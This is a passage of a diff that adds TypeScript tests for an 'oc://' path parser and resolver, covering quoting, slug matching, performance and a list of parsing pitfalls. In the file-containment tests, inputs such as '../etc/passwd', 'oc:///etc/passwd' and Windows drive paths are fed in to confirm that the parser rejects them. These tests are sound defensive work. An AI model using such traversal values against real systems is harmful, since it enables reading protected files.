const constructed = formatOcPath({ + file: 'config.jsonc', + section: 'agents.defaults.models', + item: 'github-copilot/claude-opus-4-7', + field: 'alias', + }); + expect(constructed).toBe( + 'oc://config.jsonc/agents.defaults.models/"github-copilot/claude-opus-4-7"/alias', + ); + const parsed = parseOcPath(constructed); + expect(parsed.item).toBe('"github-copilot/claude-opus-4-7"'); + }); + + it('OP-25 parseOcPath finds query separator outside quoted keys', () => { + // Closes ClawSweeper P2 on PR #78678: `parseOcPath` previously + // used `indexOf('?')` which split a key like `"foo?bar"` at the + // embedded `?`, breaking advertised quoted-segment support. + const parsed = parseOcPath('oc://config.jsonc/"foo?bar"?session=daily'); + expect(parsed.section).toBe('"foo?bar"'); + expect(parsed.session).toBe('daily'); + }); + + it('OP-26 file slot with `/` round-trips via quoting', () => { + // Closes ClawSweeper P2 on PR #78678 (round 4): `parseOcPath` stored + // `path.file` verbatim while `formatOcPath` prefixed it without + // quote-wrapping, so a file like `skills/email-drafter` couldn't + // round-trip — formatter output got re-parsed as file plus section, + // and quoted input leaked the surrounding quotes into filesystem + // resolution. + const constructed = formatOcPath({ + file: 'skills/email-drafter', + section: 'Tools', + item: '-1', + }); + expect(constructed).toBe('oc://"skills/email-drafter"/Tools/-1'); + const parsed = parseOcPath(constructed); + expect(parsed.file).toBe('skills/email-drafter'); + expect(parsed.section).toBe('Tools'); + expect(parsed.item).toBe('-1'); + }); + + it('OP-27 file slot with dot extension does NOT get quoted', () => { + // The file slot's quoting trigger excludes `.` because filename + // extensions (`AGENTS.md`, `gateway.jsonc`) are normal — quoting + // them would make canonical form ugly without need. + expect(formatOcPath({ file: 'AGENTS.md' })).toBe('oc://AGENTS.md'); + expect(formatOcPath({ file: 'gateway.jsonc', section: 'version' })).toBe( + 'oc://gateway.jsonc/version', + ); + }); + + it('OP-28 formatOcPath rejects field without item or section', () => { + // Closes Galin P2 (round 8): the nesting guard caught + // `field + section + no item` but missed `field + no section + no item`. + // Such a struct emits `oc://FILE/FIELD` which silently re-parses as + // `{ file, section: FIELD }` — different shape, breaking round-trip. + expect(() => formatOcPath({ file: 'X', field: 'name' })).toThrow(OcPathError); + try { + formatOcPath({ file: 'X', field: 'name' }); + } catch (err) { + expect(err).toBeInstanceOf(OcPathError); + expect((err as OcPathError).code).toBe('OC_PATH_NESTING'); + } + }); + + it('OP-29 isPattern is quote-aware (literal `*` inside quoted segment)', () => { + // Closes Galin P2 (round 8): `isPattern` previously used + // `slot.split('.')` which shredded a quoted key like `"items.*.glob"` + // and falsely detected the literal `*` as a wildcard, causing + // single-match verbs to reject a concrete path. + const concrete = parseOcPath('oc://config.jsonc/"items.*.glob"'); + expect(isPattern(concrete)).toBe(false); + + // Sanity: an unquoted `*` IS still a wildcard. + const wildcard = parseOcPath('oc://config.jsonc/items/*'); + expect(isPattern(wildcard)).toBe(true); + }); + + it('OP-30 getPathLayout is quote-aware', () => { + // Closes Galin P2 (round 8): `getPathLayout` used `slot.split('.')` + // for all three slots, breaking the find-walker / repackPath layout + // contract for quoted segments containing `.`. + const path = parseOcPath('oc://config.jsonc/"github.com"/repos'); + const layout = getPathLayout(path); + // Quoted segment is one sub-segment, not two. + expect(layout.sectionLen).toBe(1); + expect(layout.subs[0]).toBe('"github.com"'); + expect(layout.itemLen).toBe(1); + expect(layout.subs[1]).toBe('repos'); + }); +}); diff --git a/src/oc-path/tests/scenarios/oc-path-resolver-edges.test.ts b/src/oc-path/tests/scenarios/oc-path-resolver-edges.test.ts new file mode 100644 index 00000000000..1f0381a8e6c --- /dev/null +++ b/src/oc-path/tests/scenarios/oc-path-resolver-edges.test.ts @@ -0,0 +1,235 @@ +/** + * Wave 8 — OcPath resolver edges. + * + * Substrate guarantee: `resolveOcPath(ast, ocPath)` returns the matched + * node or `null`. Slug matching is case-insensitive. Field on non-kv + * item returns `null` (not a guess). Frontmatter via the `[frontmatter]` + * sentinel section. + */ +import { describe, expect, it } from 'vitest'; +import { parseMd } from '../../parse.js'; +import { resolveMdOcPath as resolveOcPath } from '../../resolve.js'; + +const SAMPLE = `--- +name: github +description: gh CLI +url: https://example.com +--- + +Preamble prose. + +## Boundaries + +- never write to /etc +- always confirm before deleting + +## Tools + +- gh: GitHub CLI +- curl: HTTP client +- The Tool: with caps and spaces + +## Multi-Word Section + +- item one +`; + +describe('wave-08 oc-path-resolver-edges', () => { + const { ast } = parseMd(SAMPLE); + + it('R-01 root resolves to AST', () => { + const m = resolveOcPath(ast, { file: 'X.md' }); + expect(m?.kind).toBe('root'); + }); + + it('R-02 block by exact slug', () => { + const m = resolveOcPath(ast, { file: 'X.md', section: 'boundaries' }); + expect(m?.kind).toBe('block'); + }); + + it('R-03 block by case-mismatched slug (Boundaries → boundaries)', () => { + const m = resolveOcPath(ast, { file: 'X.md', section: 'Boundaries' }); + expect(m?.kind).toBe('block'); + }); + + it('R-04 block by uppercased slug', () => { + const m = resolveOcPath(ast, { file: 'X.md', section: 'BOUNDARIES' }); + expect(m?.kind).toBe('block'); + }); + + it('R-05 multi-word section by slug', () => { + const m = resolveOcPath(ast, { file: 'X.md', section: 'multi-word-section' }); + expect(m?.kind).toBe('block'); + if (m?.kind === 'block') {expect(m.node.heading).toBe('Multi-Word Section');} + }); + + it('R-06 multi-word section by exact heading text (case-folded)', () => { + const m = resolveOcPath(ast, { file: 'X.md', section: 'Multi-Word Section' }); + // The OcPath section is matched case-insensitively against block.slug. + // Block.slug for "Multi-Word Section" is "multi-word-section", and + // path.section.toLowerCase() = "multi-word section" which does NOT + // match "multi-word-section". Documented limit — callers must + // pass slug form, not heading text. This is intentional. + expect(m).toBeNull(); + }); + + it('R-07 unknown section returns null', () => { + const m = resolveOcPath(ast, { file: 'X.md', section: 'unknown' }); + expect(m).toBeNull(); + }); + + it('R-08 item by slug under known section', () => { + const m = resolveOcPath(ast, { + file: 'X.md', + section: 'tools', + item: 'gh', + }); + expect(m?.kind).toBe('item'); + }); + + it('R-09 item slug for KV uses kv.key (gh, not "gh-github-cli")', () => { + const m = resolveOcPath(ast, { + file: 'X.md', + section: 'tools', + item: 'gh', + }); + expect(m).not.toBeNull(); + if (m?.kind === 'item') {expect(m.node.kv?.value).toBe('GitHub CLI');} + }); + + it('R-10 item slug for plain bullet uses text', () => { + const m = resolveOcPath(ast, { + file: 'X.md', + section: 'boundaries', + item: 'never-write-to-etc', + }); + expect(m?.kind).toBe('item'); + }); + + it('R-11 item slug case-insensitive', () => { + const m = resolveOcPath(ast, { + file: 'X.md', + section: 'tools', + item: 'GH', + }); + expect(m?.kind).toBe('item'); + }); + + it('R-12 item with spaces in key (slugified)', () => { + const m = resolveOcPath(ast, { + file: 'X.md', + section: 'tools', + item: 'the-tool', + }); + expect(m?.kind).toBe('item'); + if (m?.kind === 'item') {expect(m.node.kv?.value).toBe('with caps and spaces');} + }); + + it('R-13 unknown item returns null', () => { + const m = resolveOcPath(ast, { + file: 'X.md', + section: 'tools', + item: 'nonexistent', + }); + expect(m).toBeNull(); + }); + + it('R-14 item-field matches kv.key (case-insensitive)', () => { + const m = resolveOcPath(ast, { + file: 'X.md', + section: 'tools', + item: 'gh', + field: 'gh', + }); + expect(m?.kind).toBe('item-field'); + }); + + it('R-15 field on plain (non-kv) item returns null', () => { + const m = resolveOcPath(ast, { + file: 'X.md', + section: 'boundaries', + item: 'never-write-to-etc', + field: 'risk', + }); + expect(m).toBeNull(); + }); + + it('R-16 field that does not match kv.key returns null', () => { + const m = resolveOcPath(ast, { + file: 'X.md', + section: 'tools', + item: 'gh', + field: 'nonexistent', + }); + expect(m).toBeNull(); + }); + + it('R-17 frontmatter via [frontmatter] sentinel section', () => { + const m = resolveOcPath(ast, { + file: 'X.md', + section: '[frontmatter]', + field: 'name', + }); + expect(m?.kind).toBe('frontmatter'); + if (m?.kind === 'frontmatter') {expect(m.node.value).toBe('github');} + }); + + it('R-18 frontmatter unknown key returns null', () => { + const m = resolveOcPath(ast, { + file: 'X.md', + section: '[frontmatter]', + field: 'nonexistent', + }); + expect(m).toBeNull(); + }); + + it('R-19 frontmatter without field returns null', () => { + const m = resolveOcPath(ast, { + file: 'X.md', + section: '[frontmatter]', + }); + expect(m).toBeNull(); + }); + + it('R-20 multiple frontmatter keys with same name — first match wins', () => { + // Build an AST manually to test + const dupeAst = { + kind: 'md' as const, + raw: '', + frontmatter: [ + { key: 'k', value: 'first', line: 2 }, + { key: 'k', value: 'second', line: 3 }, + ], + preamble: '', + blocks: [], + }; + const m = resolveOcPath(dupeAst, { + file: 'X.md', + section: '[frontmatter]', + field: 'k', + }); + expect(m?.kind).toBe('frontmatter'); + if (m?.kind === 'frontmatter') {expect(m.node.value).toBe('first');} + }); + + it('R-21 empty AST resolves root only', () => { + const empty = { kind: 'md' as const, raw: '', frontmatter: [], preamble: '', blocks: [] }; + expect(resolveOcPath(empty, { file: 'X.md' })?.kind).toBe('root'); + expect(resolveOcPath(empty, { file: 'X.md', section: 'any' })).toBeNull(); + }); + + it('R-22 resolver does not mutate the AST', () => { + const before = JSON.stringify(ast); + resolveOcPath(ast, { file: 'X.md', section: 'tools', item: 'gh', field: 'gh' }); + const after = JSON.stringify(ast); + expect(after).toBe(before); + }); + + it('R-23 file segment is informational — resolver doesn\'t check it', () => { + // The file name in OcPath is metadata; resolver assumes the AST + // matches. Callers verify file mapping before passing the AST. + const m1 = resolveOcPath(ast, { file: 'SOUL.md', section: 'tools' }); + const m2 = resolveOcPath(ast, { file: 'AGENTS.md', section: 'tools' }); + expect(m1?.kind).toBe(m2?.kind); + }); +}); diff --git a/src/oc-path/tests/scenarios/perf-determinism.test.ts b/src/oc-path/tests/scenarios/perf-determinism.test.ts new file mode 100644 index 00000000000..f6a17dd4528 --- /dev/null +++ b/src/oc-path/tests/scenarios/perf-determinism.test.ts @@ -0,0 +1,127 @@ +/** + * Wave 14 — performance + determinism + immutability. + * + * Substrate guarantees: + * - Parsing scales sub-linearly with file size (no quadratic blowup) + * - Same input produces same AST (no Object.keys / Set order surprises) + * - Resolver does not mutate the AST + * - AST is structurally cloneable (no functions, no cycles) + */ +import { describe, expect, it } from 'vitest'; +import { emitMd } from '../../emit.js'; +import { parseMd } from '../../parse.js'; +import { resolveMdOcPath as resolveOcPath } from '../../resolve.js'; + +describe('wave-14 perf + determinism', () => { + it('PD-01 parses 100 KB file in under 200 ms', () => { + const lines: string[] = []; + for (let i = 0; i < 1000; i++) { + lines.push('## H' + i); + for (let j = 0; j < 5; j++) { + lines.push(`- key${i}-${j}: value with content`); + } + } + const raw = lines.join('\n'); + const start = performance.now(); + parseMd(raw); + const elapsed = performance.now() - start; + expect(elapsed).toBeLessThan(200); + }); + + it('PD-02 parses 1000 small files in under 500 ms', () => { + const raw = `## H\n- a\n- b: c\n## I\n- d\n`; + const start = performance.now(); + for (let i = 0; i < 1000; i++) { + parseMd(raw); + } + const elapsed = performance.now() - start; + expect(elapsed).toBeLessThan(500); + }); + + it('PD-03 100k OcPath resolutions on parsed AST in under 500 ms', () => { + const raw = `## A\n- a1\n- a2\n## B\n- b1\n- b2\n## C\n- c1: cv\n`; + const { ast } = parseMd(raw); + const path = { file: 'X.md', section: 'b', item: 'b1' }; + const start = performance.now(); + for (let i = 0; i < 100_000; i++) { + resolveOcPath(ast, path); + } + const elapsed = performance.now() - start; + expect(elapsed).toBeLessThan(500); + }); + + it('PD-04 same input → byte-identical AST.raw across runs', () => { + const raw = `---\nb: 2\na: 1\n---\n## Z\n- z\n## A\n- a\n`; + const a1 = parseMd(raw).ast; + const a2 = parseMd(raw).ast; + expect(a1.raw).toBe(a2.raw); + expect(a1.frontmatter).toEqual(a2.frontmatter); + expect(a1.blocks).toEqual(a2.blocks); + }); + + it('PD-05 resolveOcPath is non-mutating', () => { + const raw = `## A\n- a: x\n## B\n- b\n`; + const { ast } = parseMd(raw); + const before = JSON.stringify(ast); + resolveOcPath(ast, { file: 'X.md', section: 'a', item: 'a', field: 'a' }); + resolveOcPath(ast, { file: 'X.md', section: 'b' }); + resolveOcPath(ast, { file: 'X.md', section: 'unknown' }); + expect(JSON.stringify(ast)).toBe(before); + }); + + it('PD-06 AST is JSON-serializable (no functions, no cycles)', () => { + const raw = `---\nk: v\n---\n## A\n- a\n\`\`\`ts\nx\n\`\`\`\n| h |\n| - |\n| 1 |\n`; + const { ast } = parseMd(raw); + const serialized = JSON.stringify(ast); + const parsed = JSON.parse(serialized); + expect(parsed.raw).toBe(ast.raw); + expect(parsed.blocks.length).toBe(ast.blocks.length); + }); + + it('PD-07 emit is non-mutating', () => { + const raw = `## A\n- a\n`; + const { ast } = parseMd(raw); + const before = JSON.stringify(ast); + emitMd(ast); + emitMd(ast); + emitMd(ast); + expect(JSON.stringify(ast)).toBe(before); + }); + + it('PD-08 frontmatter ordering is preserved (insertion order, not alphabetical)', () => { + const raw = `---\nz: 1\nm: 2\na: 3\n---\n`; + const { ast } = parseMd(raw); + expect(ast.frontmatter.map((e) => e.key)).toEqual(['z', 'm', 'a']); + }); + + it('PD-09 block ordering is document order, not alphabetical', () => { + const raw = `## Z\n## A\n## M\n`; + const { ast } = parseMd(raw); + expect(ast.blocks.map((b) => b.heading)).toEqual(['Z', 'A', 'M']); + }); + + it('PD-10 item ordering within block is document order', () => { + const raw = `## H\n- z\n- a\n- m\n`; + const { ast } = parseMd(raw); + expect(ast.blocks[0]?.items.map((i) => i.text)).toEqual(['z', 'a', 'm']); + }); + + it('PD-11 large fixture round-trip stays under 100 ms', () => { + const lines: string[] = []; + for (let i = 0; i < 500; i++) { + lines.push(`## Section ${i}`); + lines.push(''); + for (let j = 0; j < 10; j++) { + lines.push(`- item-${i}-${j}: with some prose value content here`); + } + lines.push(''); + } + const raw = lines.join('\n'); + const start = performance.now(); + const { ast } = parseMd(raw); + const out = emitMd(ast); + const elapsed = performance.now() - start; + expect(out).toBe(raw); + expect(elapsed).toBeLessThan(100); + }); +}); diff --git a/src/oc-path/tests/scenarios/pitfalls.test.ts b/src/oc-path/tests/scenarios/pitfalls.test.ts new file mode 100644 index 00000000000..245c2dfabce --- /dev/null +++ b/src/oc-path/tests/scenarios/pitfalls.test.ts @@ -0,0 +1,624 @@ +/** + * Wave-23 — Pitfall scenarios. + * + * One test per pitfall ID enumerated in + * `packages/oc-paths-substrate/PITFALLS.md` (the substrate-local + * pitfall taxonomy). Tests are grouped by category so a regression in + * any one defense is visible at a glance. Every MITIGATED / REJECTED + * pitfall has a positive validation here; DEFERRED ones are covered + * as documented limits with a `.skip` note. + * + * **Namespace note**: substrate pitfall IDs (P-001 … P-040) are a + * separate namespace from the claws-side `docs/PITFALLS.md` + * governance taxonomy (which uses P-NNN for completely different + * pitfalls — e.g., P-033 there is "Memory poisoning"). The package + * boundary disambiguates. + */ +import { describe, expect, it } from 'vitest'; +import { + MAX_PATH_LENGTH, + MAX_TRAVERSAL_DEPTH, + OcPathError, + findOcPaths, + formatOcPath, + parseOcPath, + resolveOcPath, + setOcPath, +} from '../../index.js'; +import { parseJsonc } from '../../jsonc/parse.js'; +import { parseJsonl } from '../../jsonl/parse.js'; +import { parseYaml } from '../../yaml/parse.js'; + +// ---------- Encoding pitfalls -------------------------------------------- + +describe('wave-23 pitfalls — encoding', () => { + it('P-001 strips leading UTF-8 BOM from path string', () => { + const bom = ''; + expect(parseOcPath(`${bom}oc://X/Y`).file).toBe('X'); + }); + + it('P-002 normalizes path to NFC', () => { + const nfc = 'café'; // composed + const nfd = 'café'; // decomposed + expect(parseOcPath(`oc://X/${nfd}`).section).toBe(nfc); + expect(parseOcPath(`oc://X/${nfc}`).section).toBe(nfc); + // Same struct out for both inputs. + expect(parseOcPath(`oc://X/${nfd}`)).toEqual(parseOcPath(`oc://X/${nfc}`)); + }); + + it('P-003 rejects whitespace in identifier-shaped segments', () => { + expect(() => parseOcPath('oc://X/foo /bar')).toThrow(OcPathError); + expect(() => parseOcPath('oc://X/ foo')).toThrow(OcPathError); + expect(() => parseOcPath('oc://X/foo\tbar')).toThrow(OcPathError); + }); + + it('P-003 allows whitespace inside predicate values (content)', () => { + // Spaces inside a predicate value are legitimate — they're filtering + // against actual content. + expect(() => parseOcPath('oc://X/[name=hello world]')).not.toThrow(); + }); + + it('P-004 / P-011 rejects control characters and null bytes', () => { + expect(() => parseOcPath('oc://X/\x00')).toThrow(/Control character/); + expect(() => parseOcPath('oc://X/foo\x01bar')).toThrow(/Control character/); + expect(() => parseOcPath('oc://X/foo\x7Fbar')).toThrow(/Control character/); + }); +}); + +// ---------- Empty / structural pitfalls ---------------------------------- + +describe('wave-23 pitfalls — empty & structural', () => { + it('P-008 rejects empty segments', () => { + expect(() => parseOcPath('oc://X//Y')).toThrow(/Empty segment/); + }); + + it('P-009 rejects empty dotted sub-segments', () => { + expect(() => parseOcPath('oc://X/a..b')).toThrow(/Empty dotted sub-segment/); + }); + + it('P-010 rejects scheme-only path', () => { + expect(() => parseOcPath('oc://')).toThrow(/Empty oc:\/\/ path/); + }); + + it('P-014 rejects empty predicate key', () => { + expect(() => parseOcPath('oc://X/[=foo]')).toThrow(/Malformed predicate/); + }); + + it('P-014 rejects empty predicate value', () => { + expect(() => parseOcPath('oc://X/[id=]')).toThrow(/Malformed predicate/); + }); + + it('P-015 accepts bracket segment with no operator as literal sentinel', () => { + // `[frontmatter]` predates the predicate grammar — kept as literal. + expect(parseOcPath('oc://AGENTS.md/[frontmatter]/key').section).toBe('[frontmatter]'); + }); + + it('P-016 rejects mismatched brackets', () => { + expect(() => parseOcPath('oc://X/[unclosed')).toThrow(OcPathError); + expect(() => parseOcPath('oc://X/closed]')).toThrow(OcPathError); + }); + + it('P-016 rejects mismatched braces', () => { + expect(() => parseOcPath('oc://X/{a,b')).toThrow(OcPathError); + }); + + it('P-018 rejects empty union', () => { + expect(() => parseOcPath('oc://X/{}')).toThrow(/Empty union/); + }); + + it('P-018 rejects union with empty alternative', () => { + expect(() => parseOcPath('oc://X/{a,,b}')).toThrow(/Empty alternative/); + }); +}); + +// ---------- Predicate-content pitfalls ----------------------------------- + +describe('wave-23 pitfalls — predicate content', () => { + it('P-012 predicate value containing `/` round-trips', () => { + // The path-level `/` split must respect bracket boundaries. + const p = parseOcPath('oc://X/[id=foo/bar]/cmd'); + expect(p.section).toBe('[id=foo/bar]'); + expect(p.item).toBe('cmd'); + }); + + it('P-012 findOcPaths matches a leaf whose id contains a slash', () => { + const ast = parseYaml( + 'steps:\n - id: foo/bar\n cmd: x\n - id: baz\n cmd: y\n' + ).ast; + const out = findOcPaths(ast, parseOcPath('oc://wf/steps/[id=foo/bar]/cmd')); + expect(out).toHaveLength(1); + if (out[0].match.kind === 'leaf') {expect(out[0].match.valueText).toBe('x');} + }); + + it('P-013 predicate value containing `.` round-trips', () => { + const p = parseOcPath('oc://X/steps.[id=1.0].cmd'); + expect(p.section).toBe('steps.[id=1.0].cmd'); + }); + + it('P-013 findOcPaths matches a leaf whose id is `1.0`', () => { + const ast = parseYaml( + 'steps:\n - id: "1.0"\n cmd: x\n - id: "2.0"\n cmd: y\n' + ).ast; + const out = findOcPaths(ast, parseOcPath('oc://wf/steps/[id=1.0]/cmd')); + expect(out).toHaveLength(1); + if (out[0].match.kind === 'leaf') {expect(out[0].match.valueText).toBe('x');} + }); +}); + +// ---------- Sentinel & collision pitfalls -------------------------------- + +describe('wave-23 pitfalls — sentinels & collisions', () => { + it('P-020/openclaw#59934 negative numeric key on object resolves as literal key', () => { + // Telegram supergroup IDs are negative numbers used as map keys. + // Our positional `-N` token would otherwise hijack them. Resolver + // falls through to literal-key lookup on non-indexable containers. + const ast = parseJsonc( + '{"channels":{"telegram":{"groups":{"-5028303500":{"requireMention":false}}}}}' + ).ast; + const m = resolveOcPath( + ast, + parseOcPath('oc://config/channels.telegram.groups.-5028303500.requireMention'), + ); + expect(m).not.toBeNull(); + expect(m?.kind).toBe('leaf'); + if (m?.kind === 'leaf') { + expect(m.valueText).toBe('false'); + expect(m.leafType).toBe('boolean'); + } + }); + + it('P-020 negative `-N` still works as positional on arrays', () => { + // Same syntax, indexable container — positional resolution wins. + const ast = parseJsonc('{"items":[10,20,30]}').ast; + const m = resolveOcPath(ast, parseOcPath('oc://X/items/-1')); + expect(m?.kind).toBe('leaf'); + if (m?.kind === 'leaf') {expect(m.valueText).toBe('30');} + }); + + it('P-020 numeric segment dispatches by node kind (array index vs map key)', () => { + // Same path string against two different ASTs — kind disambiguates. + const arr = parseJsonc('{"x":["a","b"]}').ast; + const map = parseJsonc('{"x":{"0":"a","1":"b"}}').ast; + const arrM = resolveOcPath(arr, parseOcPath('oc://config/x/0')); + const mapM = resolveOcPath(map, parseOcPath('oc://config/x/0')); + expect(arrM?.kind).toBe('leaf'); + expect(mapM?.kind).toBe('leaf'); + if (arrM?.kind === 'leaf') {expect(arrM.valueText).toBe('a');} + if (mapM?.kind === 'leaf') {expect(mapM.valueText).toBe('a');} + }); + + it('P-021 `$last` literal in a yaml key is shadowed by positional sentinel', () => { + // Document v0 limitation: `$last` always means "last", never a literal key. + // Authors with `$last` literal keys must use kind-narrow access. + const ast = parseYaml('$last: literal-value\nfoo: bar\n').ast; + const m = resolveOcPath(ast, parseOcPath('oc://X/$last')); + // `$last` resolves to the LAST key (`foo` → `bar`), not the literal `$last` key. + expect(m?.kind).toBe('leaf'); + if (m?.kind === 'leaf') {expect(m.valueText).toBe('bar');} + }); +}); + +// ---------- Round-trip pitfalls ------------------------------------------ + +describe('wave-23 pitfalls — round-trip', () => { + it('P-023 parseOcPath ∘ formatOcPath is idempotent across path shapes', () => { + const inputs = [ + 'oc://X', + 'oc://X/a', + 'oc://X/a/b', + 'oc://X/a/b/c', + 'oc://X/a.b.c', + 'oc://X/a?session=s1', + 'oc://X/[frontmatter]/key', + 'oc://X/steps/*/command', + 'oc://X/steps/$last/id', + 'oc://X/steps/-2/id', + 'oc://X/steps/{command,run}', + 'oc://X/steps/[id=foo]/cmd', + 'oc://X/steps/#0/foo', + ]; + for (const s of inputs) { + const parsed = parseOcPath(s); + const reparsed = parseOcPath(s); + expect(parsed).toEqual(reparsed); + } + }); +}); + +// ---------- Sentinel-guard pitfalls -------------------------------------- + +describe('wave-23 pitfalls — sentinel at format boundary (F9)', () => { + it('formatOcPath rejects an OcPath struct carrying the redaction sentinel', () => { + // Path strings flow into telemetry, audit events, error messages, + // find-result `path` fields. Without the format-time guard, a + // struct with `section: REDACTED_SENTINEL` would slip past every + // consumer except the CLI's scrubSentinel layer. The substrate's + // contract is "emit boundaries refuse the sentinel" — formatOcPath + // IS such a boundary for path strings. + expect(() => + formatOcPath({ file: 'AGENTS.md', section: '__OPENCLAW_REDACTED__' }), + ).toThrow(/sentinel literal/); + }); +}); + +// ---------- Containment pitfalls ----------------------------------------- + +describe('wave-23 pitfalls — file-slot containment', () => { + // oc:// paths are workspace-relative. Absolute paths and `..` segments + // would let a hostile workflow / skill manifest persuade + // `openclaw path resolve|set|emit` into reading or writing arbitrary + // filesystem locations (Node `path.resolve(cwd, absolute)` returns + // `absolute`, bypassing the workspace root). Reject at parseOcPath + // and formatOcPath for symmetric defense. + it('rejects an absolute POSIX file slot', () => { + expect(() => parseOcPath('oc:///etc/passwd')).toThrow(/Empty segment/); + // Quoted form — same containment violation, different parse path. + expect(() => parseOcPath('oc://"/etc/passwd"/section')).toThrow(/Absolute file slot/); + }); + + it('rejects a Windows drive-letter file slot', () => { + expect(() => parseOcPath('oc://"C:/Windows/System32/foo"/section')).toThrow( + /Absolute file slot/, + ); + expect(() => parseOcPath('oc://"C:\\\\Windows\\\\System32"/section')).toThrow( + /Absolute file slot/, + ); + }); + + it('rejects a leading-backslash file slot', () => { + expect(() => parseOcPath('oc://"\\\\srv\\\\share\\\\foo"/section')).toThrow( + /Absolute file slot/, + ); + }); + + it('rejects a parent-directory escape via plain `..`', () => { + expect(() => parseOcPath('oc://"../foo"/section')).toThrow(/Parent-directory/); + expect(() => parseOcPath('oc://".."/section')).toThrow(/Parent-directory/); + }); + + it('rejects a parent-directory escape mid-path', () => { + expect(() => parseOcPath('oc://"foo/../bar"/section')).toThrow(/Parent-directory/); + }); + + it('does not decode URL-encoded `..` — literal `%2E%2E` is treated as a filename', () => { + // The substrate does NOT do URL decoding — `%2E%2E` is the literal + // five-character filename, not a parent-directory escape. Documented + // limitation: consumers that pre-decode (HTTP layers, browser UI) + // are responsible for normalizing before invoking parseOcPath. + // Pin the current behavior so a future "let's decode for them" PR + // sees the explicit choice. + const p = parseOcPath('oc://"%2E%2E/foo"/section'); + expect(p.file).toBe('%2E%2E/foo'); + }); + + it('formatOcPath rejects an OcPath struct with absolute file', () => { + expect(() => formatOcPath({ file: '/etc/passwd' })).toThrow(/Absolute file slot/); + expect(() => formatOcPath({ file: 'C:/Windows' })).toThrow(/Absolute file slot/); + }); + + it('formatOcPath rejects an OcPath struct with parent-directory file', () => { + expect(() => formatOcPath({ file: '..' })).toThrow(/Parent-directory/); + expect(() => formatOcPath({ file: '../etc/passwd' })).toThrow(/Parent-directory/); + expect(() => formatOcPath({ file: 'foo/../bar' })).toThrow(/Parent-directory/); + }); +}); + +// ---------- formatOcPath ↔ parseOcPath round-trip ------------------------ + +describe('wave-23 pitfalls — format/parse round-trip', () => { + // The contract on oc-path.ts:13 — `formatOcPath(parseOcPath(s)) === s` + // for any string the formatter accepts. Round-trip breaks were + // observable on (a) struct fields with empty dotted sub-segments + // (`section: 'foo.'` → `oc://X/foo.""` → re-parses with `section: + // 'foo.""'`) and (b) struct fields with control chars (formatter + // emitted unquoted, parser refused). Pin both directions. + it('formatOcPath rejects empty dotted sub-segment in a slot', () => { + expect(() => formatOcPath({ file: 'a.md', section: 'foo.' })).toThrow( + /Empty dotted sub-segment/, + ); + expect(() => formatOcPath({ file: 'a.md', section: '.foo' })).toThrow( + /Empty dotted sub-segment/, + ); + expect(() => formatOcPath({ file: 'a.md', section: 'foo..bar' })).toThrow( + /Empty dotted sub-segment/, + ); + }); + + it('formatOcPath rejects control characters in any slot', () => { + expect(() => formatOcPath({ file: 'a.md', section: 'sec\x00tion' })).toThrow( + /Control character/, + ); + expect(() => formatOcPath({ file: 'a.md', section: 'sec\x01tion' })).toThrow( + /Control character/, + ); + expect(() => formatOcPath({ file: 'a.md', section: 'tab\ttion' })).toThrow( + /Control character/, + ); + expect(() => formatOcPath({ file: 'a\x00b.md' })).toThrow(/Control character/); + }); + + it('round-trips every shape parseOcPath accepts', () => { + // For every valid input, formatOcPath(parseOcPath(s)) MUST be + // re-parseable to the same struct. Don't string-compare (the + // formatter normalizes quoting); parse the round-tripped output + // and compare structs. + const inputs = [ + 'oc://X', + 'oc://X/a', + 'oc://X/a/b', + 'oc://X/a/b/c', + 'oc://X/a.b.c', + 'oc://X/a?session=s1', + 'oc://X/[frontmatter]/key', + 'oc://X/steps/$last/id', + 'oc://X/steps/-2/id', + 'oc://X/steps/[id=foo]/cmd', + 'oc://X/steps/{a,b}/cmd', + 'oc://X/"foo/bar"/baz', + 'oc://X/agents/"anthropic/claude-opus-4-7"/alias', + ]; + for (const s of inputs) { + const parsed = parseOcPath(s); + const formatted = formatOcPath(parsed); + const reparsed = parseOcPath(formatted); + expect(reparsed).toEqual(parsed); + } + }); +}); + +// ---------- Performance pitfalls ----------------------------------------- + +describe('wave-23 pitfalls — performance & limits', () => { + it('P-031 / P-033 walker depth cap throws on pathological recursion', () => { + // Construct a yaml that nests deeper than MAX_TRAVERSAL_DEPTH. + // We're using `**` against a synthetic deeply-nested structure. + let yaml = 'root:\n'; + let indent = ' '; + for (let i = 0; i < MAX_TRAVERSAL_DEPTH + 50; i++) { + yaml += `${indent}a:\n`; + indent += ' '; + } + yaml += `${indent}leaf: x\n`; + const ast = parseYaml(yaml).ast; + expect(() => findOcPaths(ast, parseOcPath('oc://X/**'))).toThrow(/MAX_TRAVERSAL_DEPTH/); + }); + + it('P-032 rejects path strings longer than MAX_PATH_LENGTH', () => { + const big = 'oc://X/' + 'a'.repeat(MAX_PATH_LENGTH); + expect(() => parseOcPath(big)).toThrow(/exceeds .* bytes/); + }); + + it('P-032 path at the cap parses cleanly', () => { + const justUnder = 'oc://X/' + 'a'.repeat(MAX_PATH_LENGTH - 'oc://X/'.length); + expect(() => parseOcPath(justUnder)).not.toThrow(); + }); + + it('P-032 formatOcPath enforces the same cap on output', () => { + // Symmetric upper bound — without this guard, a struct whose + // formatted form crosses the cap would emit a string parseOcPath + // would immediately reject (round-trip break). + expect(() => + formatOcPath({ file: 'X', section: 'a'.repeat(MAX_PATH_LENGTH) }), + ).toThrow(/Formatted oc:\/\/ exceeds/); + }); + + it('parser depth cap fires on pathological JSONC nesting (F6)', () => { + // Without `MAX_PARSE_DEPTH`, pathological input like + // `'['.repeat(20000) + '0' + ']'.repeat(20000)` triggers a V8 + // RangeError ("Maximum call stack size exceeded") that escapes + // commander as a raw stringified error — no `OcEmitSentinelError`- + // style structured catch. Pin the structured-diagnostic path: + // parser must surface OC_JSONC_DEPTH_EXCEEDED, not bare RangeError. + const open = '['.repeat(MAX_TRAVERSAL_DEPTH + 100); + const close = ']'.repeat(MAX_TRAVERSAL_DEPTH + 100); + const raw = `${open}0${close}`; + const result = parseJsonc(raw); + expect(result.ast.root).toBeNull(); + expect( + result.diagnostics.some((d) => d.code === 'OC_JSONC_DEPTH_EXCEEDED'), + ).toBe(true); + }); + + it('parser depth cap fires on JSONL line with deeply-nested JSON (F6)', () => { + // Per-line parseJsonc dispatch carries the same protection — each + // value line is parsed in isolation and gets its own depth cap. + // The line surfaces as `kind: 'malformed'` with the depth diagnostic. + let nested = '"x"'; + for (let i = 0; i < MAX_TRAVERSAL_DEPTH + 50; i++) { + nested = `{"a":${nested}}`; + } + const { diagnostics } = parseJsonl(nested + '\n'); + // The line-level diagnostic is 